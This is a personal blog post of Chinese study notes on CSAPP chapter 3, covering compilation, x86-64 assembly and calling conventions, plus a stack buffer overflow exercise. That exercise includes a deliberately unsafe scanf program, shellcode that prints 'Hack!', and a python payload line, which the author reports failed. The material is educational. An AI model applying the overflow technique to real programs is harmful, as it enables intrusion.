本文最后更新于：2024年7月24日凌晨

CSAPP 采用的是 x64 ATT 汇编, 然而平时用的 IDA 什么的都是 MASM 汇编… 有点头大
话说回来, 都会肯定不是坏事… 大概

编译汇编与反汇编

编译

gcc -Og -o [output file] [source files]

包括四个步骤: 预处理, 编译, 汇编, 链接

预处理
- 把 # 开头的预处理指令展开, 比如头文件展开, 宏展开
- 处理完了也是 *.c 或者 *.cpp
- gcc -E [source files] -o [output file]
编译
- 把预处理完的源代码转化成汇编代码
- 对于 gcc, 默认是 ATT 格式, 用 -masm=intel 指定采用 Intel 格式
- gcc -S <source>.c -o <output>.s
汇编
- 把汇编代码转为二进制的目标文件
- gcc -c <source>.c -o <output>.o
链接
- 将该目标文件与其他目标文件、库文件、启动文件等链接起来生成可执行文件
- gcc <object>.o -o <executable>

反汇编

用 objdump

-d <file(s)>: 将代码段反汇编
-S <file(s)>: 将代码段反汇编的同时，将反汇编代码与源代码交替显示
- 编译时需要使用-g- 参数，生成调试信息
-C <file(s)>: 将C++符号名逆向解析
-l <file(s)>: 反汇编代码中插入文件名和行号
-j section <file(s)>: 仅反汇编指定的section

汇编语言初步

数据格式

为什么一个字是两字节?

实际上, 一个字并不一定是两个字节 - 比如 ARM 的 NEON 指令集下, 一个字就是 32 位 (四字节). 但是在 x86/x64 环境下, 一个字规定为两字节, 从 8086 开始就是这样了
另外, 一个字节也不一定是 8 位…

Reference: StackOverflow

名称	长度 (字节)	ATT格式后缀	MASM中的类型
字节	1	b	BYTE
字	2	w	WORD
双字	4	l	DWORD
四字	8	q	QWORD

关于 LEA 指令

lea 指令名为 “加载有效地址” (load effective address), 实际上也可以进行简单的四则运算 (利用那些繁杂但必要的寻址方式).

相对于使用多条add sub指令, 简单的四则运算用 lea 显然更便捷 - 这个时候和地址计算就没任何关系了

这点坑了我半天

条件判断

CMP 指令

和 SUB 进行的运算一样, 但不改变操作数寄存器的值

TEST 指令

和 AND 进行的运算一样, 但不改变操作数寄存器的值

所以 test %rax, %rax 这类两个操作数相同的指令可以用来判断其值的正负

switch 的实现

在分支较多且数值较为接近的时候可能会采用跳转表

调用过程间的数据传递

在 x86-64 中, 前六个参数可以通过寄存器传递, 从左到右顺序为 rdi rsi rdx rcx r8~r15

rbx rbp r12~r15 为被调用者保存的寄存器, 也就是被调用者需要保证在被调用前后这些寄存器的值不变; 其他所有寄存器 (rbp 除外) 为调用者保存的寄存器, 也就是说, 被调用者可以修改这些寄存器的值, 因此调用者在调用其他函数前应先由自己保护好它们.

如果参数多于六个 ~~(什么函数会这么写啊…)~~, 剩下的参数按照从左到右的顺序依次压入栈中 (记得保证对齐), 然后再把调用者的返回地址入栈即可.

     Bottom
     (HIGH)
+---------------+---------+
|               |         v
|  parameters   |     Frame of
|     7~n       |      caller
+---------------+         ^
|  return addr  |         |
+---------------+---------+
|               |         |
|    saved      |         |
|  regesiters   |         |
|  (rbp rbx..)  |         |
|               |
+---------------+         |
|               |         v
|  local vars   |     Frame of
|               |      callee
+---------------+         ^
|               |         |
| para for next |         |
|   function    |         |
|               |         |
+---------------+---------+
      Top
     (LOW)

另外, 当参数为数组, 或函数中使用到了参数的地址, 这些参数也会保存在栈中, 例如下图

demo

根据书上的说法, 当参数为结构体时也会将其保存到栈中, 但根据测试对于较为简单的结构体, 编译器仍然会将其保存到寄存器中, 参见 GodBolt的结果

注意, 这些保存到栈中的参数, 和调用者的返回地址都属于调用者的栈帧

缓冲区溢出攻击

我们注意到, 返回地址在局部变量的 “上方” (指较高地址的位置), 所以如果我们通过对局部变量进行构造好的且足够长的赋值, 就有可能把返回地址覆盖掉. 这样, 当函数返回时就会跳转到我们指定的地址, 实现控制.

容易想到, 一种简单的溢出是利用 gets() 函数没有指定最大长度的漏洞 - 它会一直从标准输入流中读取, 直到遇到回车. 同时, 如果我们能够输入汇编指令的话, 就可以让处理器跳转到我们自己的指令!

我们精心构造的这种输入, 一般被称作 shellcode.

一个失败的例子

来看下面一段代码.

#include <stdio.h>

int main() {
    char name[64];
    printf("What's your name?");
    scanf("%s", name);
    printf("Hello, %s!\n", name);
    return 0;
}

在这里, scanf 会接受一个字符串的输入, 并保存到 name 中. 如果输入足够长, 那就可以将返回地址覆盖掉. 把它另存为 victim.c, 编译一下, 拿 objdump 反汇编看看.

0000000000401156 <main>:
  401156:       f3 0f 1e fa             endbr64 
  40115a:       55                      push   rbp
  40115b:       48 89 e5                mov    rbp,rsp
  40115e:       48 83 ec 40             sub    rsp,0x40
  401162:       48 8d 45 c0             lea    rax,[rbp-0x40]
  401166:       48 89 c6                mov    rsi,rax
  401169:       48 8d 3d 94 0e 00 00    lea    rdi,[rip+0xe94]        # 402004 <_IO_stdin_used+0x4>
  401170:       b8 00 00 00 00          mov    eax,0x0
  401175:       e8 e6 fe ff ff          call   401060 <__isoc99_scanf@plt>
  40117a:       48 8d 45 c0             lea    rax,[rbp-0x40]
  40117e:       48 89 c6                mov    rsi,rax
  401181:       48 8d 3d 7f 0e 00 00    lea    rdi,[rip+0xe7f]        # 402007 <_IO_stdin_used+0x7>
  401188:       b8 00 00 00 00          mov    eax,0x0
  40118d:       e8 be fe ff ff          call   401050 <printf@plt>
  401192:       b8 00 00 00 00          mov    eax,0x0
  401197:       c9                      leave  
  401198:       c3                      ret    
  401199:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]

可以看到, sub rsp,0x40 这条指令, 为 name 数组在栈上开辟了 64 字节大小的空间. 由此我们可以画出栈上的空间分配情况, 如下图

+--------------+
|     ...      |
+--------------+
|              |
|  return addr |
|              |
+--------------+ <-- RSP should points here before ret
|              |
|   prev rbp   | <-- 8 bytes long
|              |
+--------------+ <-- RBP should points here
|     ...      |
+--------------+
|              |
|   name[64]   |
|              |
+--------------+ <-- RBP-0x40

用 gdb 调试一下, 确认我们的猜想对不对. 首先, gdb -q ./victim 启动调试, 然后 b *main, 在 main 函数的第一条指令下断点, r 开始运行.

gdb pic

可以看到, 这时 RSP = 0x7fffffffde58, 在下一条 RBP 入栈后会变为 de50. 用 p &name[0] 查看 name 数组的地址, 发现是 0x7fffffffde10. 由此确认, 返回地址与 name[0] 之间的长度为 0x48 == 72 字节.

接下来构造 shellcode, 我们的目标是输出一个字符串 Hack!, 写出如下的汇编代码:

[section .text]
        global _start

_start:
        jmp END
BEGIN:
        mov rax, 1
        mov rdi, 1
        pop rsi         ; addr of string popped to RSI as arg of syscall
        mov rdx, 5
        syscall

        mov rax, 0x3c
        mov rdi, 0
        syscall
END:
        call BEGIN      ; addr of string pushed into stack
        DB "Hack!"

编译 nasm -f elf64 shell.asm, 链接 ld -s -o shell shell.o, 然后 objdump -d shell -M intel 提取二进制的机器码:

Disassembly of section .text:

0000000000401000 <.text>:
  401000:       eb 1e                   jmp    0x401020
  401002:       b8 01 00 00 00          mov    eax,0x1
  401007:       bf 01 00 00 00          mov    edi,0x1
  40100c:       5e                      pop    rsi
  40100d:       ba 05 00 00 00          mov    edx,0x5
  401012:       0f 05                   syscall 
  401014:       b8 3c 00 00 00          mov    eax,0x3c
  401019:       bf 00 00 00 00          mov    edi,0x0
  40101e:       0f 05                   syscall 
  401020:       e8 dd ff ff ff          call   0x401002
  401025:       48 61                   rex.W (bad) 
  401027:       63 6b 21                movsxd ebp,DWORD PTR [rbx+0x21]

这份 shellcode 的长度只有 42 字节, 因此我们还需要再填充 30 字节的数据, 之后才是用来覆盖返回地址的 &name[0]. 因为其中有很多不可打印的字符, 所以我们用 python 把它输出到一个文件, 然后从文件作为输入.

python -c 'print ("\xeb\x1e\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x5e\xba\x05\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\xe8\xdd\xff\xff\xff\x48\x61\x63\x6b\x21" + "\xdb"*30 + "\x10\xde\xff\xff\xff\x7f\x00\x00")' > shellcode

注意小端序

这次尝试以失败告终, 已经确定成功覆盖了栈中之前保存的 RBP, 理论上返回地址也已经被覆盖, 但是就是无法跳转, 报告段错误… 看下图的 EBP 的值 (为了确定不是 x86-64 的问题, 使用 x86 重新编译了一次, shellcode 也重新写了一份)

failed-try😭

大概是还有保护措施没有关掉…

关于 x86 系列栈指针寄存器的演进历史, 参见 StackOverflow

对抗措施

//TODO

#读书笔记 #CSAPP

CSAPP 第三章笔记

https://horizonchaser.github.io/2021/08/31/CSAPP-Chap3-笔记/

作者

Horizon

发布于

2021年8月31日

许可协议

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CSAPP 第三章 笔记

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